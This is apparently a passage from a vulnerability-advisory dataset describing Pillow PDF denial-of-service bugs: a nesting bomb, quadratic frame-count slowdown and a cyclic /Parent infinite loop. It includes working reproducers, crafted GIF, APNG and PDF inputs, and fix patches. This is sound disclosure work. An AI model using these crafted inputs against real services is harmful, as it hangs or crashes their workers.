out += root out += b\"\\nendobj\\n\" out += b\"xref\\n\" out += f\"0 2\\n\".encode() out += b\"0000000000 65535 f \\n\" out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\" xref_offset = len(out) out += b\"xref\\n\" out += f\"0 2\\n\".encode() out += b\"0000000000 65535 f \\n\" out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\" out += b\"trailer\\n\" out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode() out += b\"startxref\\n\" out += f\"{xref_offset}\\n\".encode() out += b\"%%EOF\" return bytes(out) bomb = b\"[\" * 3000 + b\"]\" * 3000 root = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\" with open(\"nesting_bomb.pdf\", \"wb\") as f: f.write(build_pdf(root)) PdfParser(\"nesting_bomb.pdf\") # raises RecursionError ``` Expected: a clean `PdfFormatError`. Actual: raises a raw `RecursionError: maximum recursion depth exceeded`. ### Impact - Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none. - Integrity: none. - Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter."}, {"id": "CVE-2026-112894", "fix_versions": ["13.0.0"], "aliases": ["GHSA-jg86-v3jv-hrpm"], "description": "``` ============================================================================ Quadratic-time DoS in PDF save_all (PdfParser.next_object_id) Location: src/PIL/PdfParser.py:629 in next_object_id() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2\u00b3\u00b9 frames. Memory stays under 100 MB and the decompression-bomb limit never applies. The cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N\u00b2). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay. The precondition is that the application calls `im.save(..., \"PDF\", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4\u00d7 the frames costing about 11\u00d7 the CPU for a valid GIF and about 16\u00d7 for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear. ## Details Saving a multi-frame image as a multi-page PDF (`im.save(fp, \"PDF\", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far. A 1\u00d71-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not): | frames | GIF size | `im.save(BytesIO(), \"PDF\", save_all=True)` | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated \u2248 10 min) | | Each doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly. The per-page id reservation loop runs before any page is written: ```python # src/PIL/PdfImagePlugin.py:247-259 (_save) for im in ims: im_number_of_pages = 1 if save_all: im_number_of_pages = getattr(im, \"n_frames\", 1) \u2026 for i in range(im_number_of_pages): image_refs.append(existing_pdf.next_object_id(0)) if im.mode == \"P\" and \"transparency\" in im.info: image_refs.append(existing_pdf.next_object_id(0)) page_refs.append(existing_pdf.next_object_id(0)) contents_refs.append(existing_pdf.next_object_id(0)) ``` `n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10\u201313 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here: ```python # src/PIL/PdfParser.py:626-634 def next_object_id(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference # src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existing_entries.keys()) - set(self.deleted_entries.keys()) ) | set(self.new_entries.keys()) ``` `_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k\u22121 previous ids, computes a difference and a union, and then `max()` scans the result \u2014 O(k) work to produce the integer k. Summed over 3N calls this is O(N\u00b2): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10\u00b9\u2070 set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1\u00d71) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked. This reservation scheme was introduced in `6207b44ab1ff` (\"issue #2959: support appending to existing PDFs\", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically. For contrast, `write_obj(ref, \u2026)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed. ## Impact The precondition is that the application saves the attacker's image as PDF with `save_all=True`; `Image.open()` and `load()` alone do not reach this code. An application that converts uploaded images to PDF this way \u2014 the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input \u2014 can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4\u00bd minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in `acTL` drives the same quadratic loop, up to the 2\u00b3\u00b9 cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and `save_all` saves of images with tens or hundreds of frames, are unaffected in practice. This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS `readline`), but on the PDF *writer* side, reached only through a save rather than on open, and driven by frame count rather than by line structure. ## Reproducing `repro` is a single Python script. Run it with the Python that has Pillow installed (`./repro`). It uses under 100 MB of RAM and writes no files. **Input.** Two kinds of file are built in memory, each with 2 000 and 8 000 frames: - `gif(n)`: a valid animated GIF \u2014 a `GIF89a` header with a 1\u00d71 logical screen and a 2-colour global palette, then `n` copies of one 15-byte frame (a 1\u00d71 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has. - `apng(n)`: a 125-byte APNG \u2014 a 1\u00d71 greyscale `IHDR`, an `acTL` chunk declaring `n` frames, one `fcTL`, one `IDAT` and `IEND`. Only the first frame exists; the other `n \u2212 1` are merely declared. **Action.** Each file goes through what an upload-to-PDF converter would do: `Image.open(BytesIO(data))`, then `im.save(BytesIO(), \"PDF\", save_all=True)`, timed with `time.process_time()`. For the APNG the save raises `OSError` once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all `n` declared frames, so the exception is caught and the CPU time up to it is recorded. **Expected output** (stock build at this commit): ``` GIF frames= 2000 file= 30020 B save CPU= 1.03s result=ok GIF frames= 8000 file=120020 B save CPU= 11.68s result=ok GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x) APNG frames= 2000 file= 125 B save CPU= 0.65s result=OSError(Truncated File Read) APNG frames= 8000 file= 125 B save CPU= 10.48s result=OSError(Truncated File Read) APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x) BUG ``` A linear save would take about 4\u00d7 as long for 4\u00d7 the frames; here the GIF save grows ~11\u00d7 and the APNG save ~16\u00d7, the latter with the file size fixed at 125 bytes. The script prints `BUG` when the save CPU for either format grows at least 8\u00d7 for 4\u00d7 the frames (twice the linear expectation), otherwise `OK`. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file. With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7\u00d7) and the APNG save 0.01 s / 0.03 s, and the script prints `OK`. ## Suggested fix Make `next_object_id()` O(1) by tracking the highest object id ever stored in `XrefTable` instead of rebuilding the key set on every call. The attached patch does this in `src/PIL/PdfParser.py`: ```diff --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ class XrefTable: self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ class PdfParser: def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ``` `existing_entries` is only ever populated through `__setitem__` (from `read_xref_table` / `read_prev_trailer`), so the counter also covers ids read from an existing file in `append=True` mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (`del_root()` / `rewrite_pages()` in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id \u2014 the more conservative choice for an xref table, and the one the existing `TODO: support reuse of deleted objects` comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, `Tests/test_file_pdf.py` and `Tests/test_pdfparser.py` pass, and the reproducer prints `OK`. An alternative limited to the writer would be to reserve the `3 \u00d7 number_of_pages` ids in `PdfImagePlugin._save()` arithmetically from a single `next_object_id()` call, but fixing the allocator also covers `write_obj(None, \u2026)` callers. The patch does not address a separate, linear issue: `PdfImagePlugin._save()` still trusts `n_frames` before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG `acTL` up to 2\u00b3\u00b9) still makes it loop `3 \u00d7 n_frames` times before the first failing seek. Reserving ids per successfully seeked frame, or validating `n_frames` in such plugins, would close that. ## The patch Track the highest object ID in XrefTable so PdfParser.next_object_id() is O(1) instead of rebuilding and scanning the key set Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..82ebfb867 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -133,12 +133,15 @@ class XrefTable: ) # object ID => (offset, generation) self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ -624,11 +627,8 @@ class PdfParser: self.orig_pages = self.pages[:] def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ``` ## The reproducer
Reproducer \u2014 repro, 1,791 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # PDF save_all is O(frames^2): PdfParser.next_object_id() does max(XrefTable.keys()), # and keys() rebuilds sets of every id reserved so far, 3 calls per frame. # (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely # *declares* N frames - ids are reserved for all N before the first seek fails. import io, struct, time, zlib from PIL import Image def gif(n): return (b\"GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\" + b\"\\x2c\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x02\\x44\\x01\\x00\" * n + b\"\\x3b\") def apng(n): def chunk(t, d): return struct.pack(\">I\", len(d)) + t + d + struct.pack(\">I\", zlib.crc32(t + d)) return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", struct.pack(\">IIBBBBB\", 1, 1, 8, 0, 0, 0, 0)) + chunk(b\"acTL\", struct.pack(\">II\", n, 0)) + chunk(b\"fcTL\", struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 0, 1, 1, 0, 0)) + chunk(b\"IDAT\", zlib.compress(b\"\\x00\\x00\")) + chunk(b\"IEND\", b\"\")) def save_pdf(data): im = Image.open(io.BytesIO(data)) t = time.process_time() try: im.save(io.BytesIO(), \"PDF\", save_all=True) res = \"ok\" except OSError as e: # APNG: frames don't exist, fails *after* the id loop res = f\"OSError({e})\" return time.process_time() - t, res bug = False for name, make in ((\"GIF\", gif), (\"APNG\", apng)): t = {} for n in (2000, 8000): data = make(n) t[n], res = save_pdf(data) print(f\"{name:4} frames={n:5} file={len(data):6} B save CPU={t[n]:6.2f}s result={res}\") growth = t[8000] / t[2000] print(f\"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)\") if growth >= 8: bug = True print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112406", "fix_versions": ["13.0.0"], "aliases": ["GHSA-f2g6-542v-9j58"], "description": "``` ============================================================================ Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it. The bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` \u2192 `write_catalog()` \u2192 `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path. This is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0. The attached reproducer builds two in-memory PDFs and appends a 4\u00d74 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error. ## Details `PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever. The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`: ``` %PDF-1.4 1 0 obj <> endobj 2 0 obj <> endobj 3 0 obj <> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <> startxref 192 %%EOF ``` `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time: ``` File \"src/PIL/PdfImagePlugin.py\", line 263, in _save existing_pdf.write_catalog() File \"src/PIL/PdfParser.py\", line 473, in write_catalog self.rewrite_pages() File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages while pages_tree_node_ref: ``` The same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms. The loop: ```python # src/PIL/PdfParser.py:483-510 def rewrite_pages(self) -> None: pages_tree_nodes_to_delete = [] for i, page_ref in enumerate(self.orig_pages): page_info = self.cached_objects[page_ref] del self.xref_table[page_ref.object_id] pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")]) \u2026 # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None) self.orig_pages = [] ``` How the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, \u2026, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` \u2014 which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) \u2014 and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` \u2192 `rewrite_pages()`. For the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` \u2014 which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent \u2014 `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 \u2192 `/Kids [4 0 R]`, node 4 \u2192 `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless. The parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats \u2014 the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard. The unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0. ## Impact Any application that appends pages to a PDF it did not produce \u2014 `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document \u2014 hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected. This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it. ## Reproducing `repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds. The script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2: - `control` has `<>`. This is a normal file. - `cyclic` has `<>`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above. For each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict. Expected output on this commit (PDF dumps omitted): ``` [control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename) _save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog() write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages() rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref] ... BUG ``` The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505\u2013509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires. ## Suggested fix Both attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file. **Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen: ```python # src/PIL/PdfParser.py, rewrite_pages() processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: if pages_tree_node_ref in processed_pages_tree_nodes: break processed_pages_tree_nodes.add(pages_tree_node_ref) \u2026 ``` Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page. **Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state. Each patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`. Note that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change. ## Related findings - **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** \u2014 the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs ND object parses (a 1.9 KB, 10-wide \u00d7 12-level file never returns; a 5.8 KB, 300-wide \u00d7 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` \u2014 verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests). ## The patch (1 of 2) Track visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match=\"trailer loop found\"): PdfParser(\"Tests/images/trailer_loop.pdf\") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b\"<>\", + b\"<>\", + b\"<>\", + ] + b = BytesIO(b\"%PDF-1.4\\n\") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body)) + xref_offset = b.tell() + b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\") + b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets)) + b.write(b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset) + + with PdfParser(f=b, mode=\"r+b\") as pdf: + pdf.start_writing() + pdf.write_catalog() + pdf.write_xref_and_trailer() + assert 2 in pdf.xref_table.deleted_entries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table + processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: + if pages_tree_node_ref in processed_pages_tree_nodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processed_pages_tree_nodes.add(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ## The patch (2 of 2) Raise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match=\"trailer loop found\"): PdfParser(\"Tests/images/trailer_loop.pdf\") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b\"<>\", + b\"<>\", + b\"<>\", + ] + b = BytesIO(b\"%PDF-1.4\\n\") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body)) + xref_offset = b.tell() + b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\") + b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets)) + b.write(b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset) + + with PdfParser(f=b, mode=\"r+b\") as pdf: + pdf.start_writing() + with pytest.raises(PdfFormatError, match=\"page tree loop found\"): + pdf.write_catalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: + processed_pages_tree_nodes = [] while pages_tree_node_ref: + check_format_condition( + pages_tree_node_ref not in processed_pages_tree_nodes, + \"page tree loop found\", + ) + processed_pages_tree_nodes.append(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ## The reproducer
